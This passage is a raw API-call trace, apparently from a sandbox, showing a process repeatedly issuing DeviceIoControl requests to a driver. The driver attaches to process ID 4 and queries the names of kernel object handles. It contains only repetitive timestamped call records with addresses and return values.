lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.299] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.299] PsAcquireProcessExitSynchronization () returned 0x0 [0135.299] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.299] ObReferenceObjectByHandle (in: Handle=0xffffffff80000834, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001edcdf0, HandleInformation=0x0) returned 0x0 [0135.299] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.299] PsReleaseProcessExitSynchronization () returned 0x2 [0135.299] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.299] ObQueryNameString (in: Object=0xfffffa8001edcdf0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.299] ObfDereferenceObject (Object=0xfffffa8001edcdf0) returned 0x2 [0135.299] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.299] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.299] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.299] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.299] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.299] PsAcquireProcessExitSynchronization () returned 0x0 [0135.299] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.299] ObReferenceObjectByHandle (in: Handle=0xffffffff80000838, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003421a20, HandleInformation=0x0) returned 0x0 [0135.299] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.299] PsReleaseProcessExitSynchronization () returned 0x2 [0135.299] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.299] ObQueryNameString (in: Object=0xfffffa8003421a20, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.299] ObfDereferenceObject (Object=0xfffffa8003421a20) returned 0x2 [0135.299] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.299] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.299] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.299] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.299] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.299] PsAcquireProcessExitSynchronization () returned 0x0 [0135.299] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.299] ObReferenceObjectByHandle (in: Handle=0xffffffff8000083c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800cabb050, HandleInformation=0x0) returned 0x0 [0135.300] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.300] PsReleaseProcessExitSynchronization () returned 0x2 [0135.300] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.300] ObQueryNameString (in: Object=0xfffffa800cabb050, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.300] ObfDereferenceObject (Object=0xfffffa800cabb050) returned 0x2 [0135.300] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.300] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.300] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.300] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.300] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.300] PsAcquireProcessExitSynchronization () returned 0x0 [0135.300] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.300] ObReferenceObjectByHandle (in: Handle=0xffffffff80000840, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002157050, HandleInformation=0x0) returned 0x0 [0135.300] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.300] PsReleaseProcessExitSynchronization () returned 0x2 [0135.300] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.300] ObQueryNameString (in: Object=0xfffffa8002157050, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.300] ObfDereferenceObject (Object=0xfffffa8002157050) returned 0x2 [0135.300] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.300] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.300] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.300] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.300] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.300] PsAcquireProcessExitSynchronization () returned 0x0 [0135.300] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.300] ObReferenceObjectByHandle (in: Handle=0xffffffff80000844, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002309370, HandleInformation=0x0) returned 0x0 [0135.300] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.300] PsReleaseProcessExitSynchronization () returned 0x2 [0135.300] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.300] ObQueryNameString (in: Object=0xfffffa8002309370, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.301] ObfDereferenceObject (Object=0xfffffa8002309370) returned 0x2 [0135.301] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.301] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.301] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.301] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.301] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.301] PsAcquireProcessExitSynchronization () returned 0x0 [0135.301] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.301] ObReferenceObjectByHandle (in: Handle=0xffffffff80000848, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800213e8e0, HandleInformation=0x0) returned 0x0 [0135.301] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.301] PsReleaseProcessExitSynchronization () returned 0x2 [0135.301] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.301] ObQueryNameString (in: Object=0xfffffa800213e8e0, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.301] ObfDereferenceObject (Object=0xfffffa800213e8e0) returned 0x2 [0135.301] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.301] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.301] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.301] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.301] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.301] PsAcquireProcessExitSynchronization () returned 0x0 [0135.301] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.301] ObReferenceObjectByHandle (in: Handle=0xffffffff80000854, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002253c20, HandleInformation=0x0) returned 0x0 [0135.301] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.301] PsReleaseProcessExitSynchronization () returned 0x2 [0135.301] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.303] ObQueryNameString (in: Object=0xfffffa8002253c20, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0135.303] ObfDereferenceObject (Object=0xfffffa8002253c20) returned 0x2 [0135.303] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.303] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.304] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.304] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.304] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.304] PsAcquireProcessExitSynchronization () returned 0x0 [0135.304] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.304] ObReferenceObjectByHandle (in: Handle=0xffffffff80000858, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800212e050, HandleInformation=0x0) returned 0x0 [0135.304] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.304] PsReleaseProcessExitSynchronization () returned 0x2 [0135.304] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.304] ObQueryNameString (in: Object=0xfffffa800212e050, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.304] ObfDereferenceObject (Object=0xfffffa800212e050) returned 0x2 [0135.304] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.304] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.304] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.304] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.304] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.304] PsAcquireProcessExitSynchronization () returned 0x0 [0135.304] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.304] ObReferenceObjectByHandle (in: Handle=0xffffffff80000860, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800288ff20, HandleInformation=0x0) returned 0x0 [0135.304] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.304] PsReleaseProcessExitSynchronization () returned 0x2 [0135.304] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.304] ObQueryNameString (in: Object=0xfffffa800288ff20, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.304] ObfDereferenceObject (Object=0xfffffa800288ff20) returned 0x2 [0135.304] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.304] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.304] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.304] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.304] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.304] PsAcquireProcessExitSynchronization () returned 0x0 [0135.304] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.305] ObReferenceObjectByHandle (in: Handle=0xffffffff80000878, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002156050, HandleInformation=0x0) returned 0x0 [0135.305] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.305] PsReleaseProcessExitSynchronization () returned 0x2 [0135.305] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.305] ObQueryNameString (in: Object=0xfffffa8002156050, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.305] ObfDereferenceObject (Object=0xfffffa8002156050) returned 0x2 [0135.305] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.305] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.305] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.305] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.305] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.305] PsAcquireProcessExitSynchronization () returned 0x0 [0135.305] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.305] ObReferenceObjectByHandle (in: Handle=0xffffffff80000884, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800200a420, HandleInformation=0x0) returned 0x0 [0135.305] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.305] PsReleaseProcessExitSynchronization () returned 0x2 [0135.305] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.305] ObQueryNameString (in: Object=0xfffffa800200a420, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.305] ObfDereferenceObject (Object=0xfffffa800200a420) returned 0x2 [0135.305] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.305] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.305] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.305] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.305] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.305] PsAcquireProcessExitSynchronization () returned 0x0 [0135.305] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.306] ObReferenceObjectByHandle (in: Handle=0xffffffff80000888, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80037f1b20, HandleInformation=0x0) returned 0x0 [0135.306] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.306] PsReleaseProcessExitSynchronization () returned 0x2 [0135.306] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.306] ObQueryNameString (in: Object=0xfffffa80037f1b20, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.306] ObfDereferenceObject (Object=0xfffffa80037f1b20) returned 0x2 [0135.306] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.306] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.306] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.306] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.306] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.306] PsAcquireProcessExitSynchronization () returned 0x0 [0135.306] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.306] ObReferenceObjectByHandle (in: Handle=0xffffffff80000894, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002147dd0, HandleInformation=0x0) returned 0x0 [0135.306] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.306] PsReleaseProcessExitSynchronization () returned 0x2 [0135.306] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.306] ObQueryNameString (in: Object=0xfffffa8002147dd0, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.306] ObfDereferenceObject (Object=0xfffffa8002147dd0) returned 0x2 [0135.306] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.306] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.306] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.306] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.306] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.306] PsAcquireProcessExitSynchronization () returned 0x0 [0135.306] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.306] ObReferenceObjectByHandle (in: Handle=0xffffffff8000089c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800f5f7050, HandleInformation=0x0) returned 0x0 [0135.306] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.306] PsReleaseProcessExitSynchronization () returned 0x2 [0135.306] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.306] ObQueryNameString (in: Object=0xfffffa800f5f7050, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.306] ObfDereferenceObject (Object=0xfffffa800f5f7050) returned 0x2 [0135.307] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.307] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.307] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.307] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.307] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.307] PsAcquireProcessExitSynchronization () returned 0x0 [0135.307] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.307] ObReferenceObjectByHandle (in: Handle=0xffffffff800008a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80023577b0, HandleInformation=0x0) returned 0x0 [0135.307] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.307] PsReleaseProcessExitSynchronization () returned 0x2 [0135.307] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.307] ObQueryNameString (in: Object=0xfffffa80023577b0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0135.307] ObfDereferenceObject (Object=0xfffffa80023577b0) returned 0x2 [0135.307] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.307] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.307] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.307] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.307] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.307] PsAcquireProcessExitSynchronization () returned 0x0 [0135.307] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.307] ObReferenceObjectByHandle (in: Handle=0xffffffff800008ac, 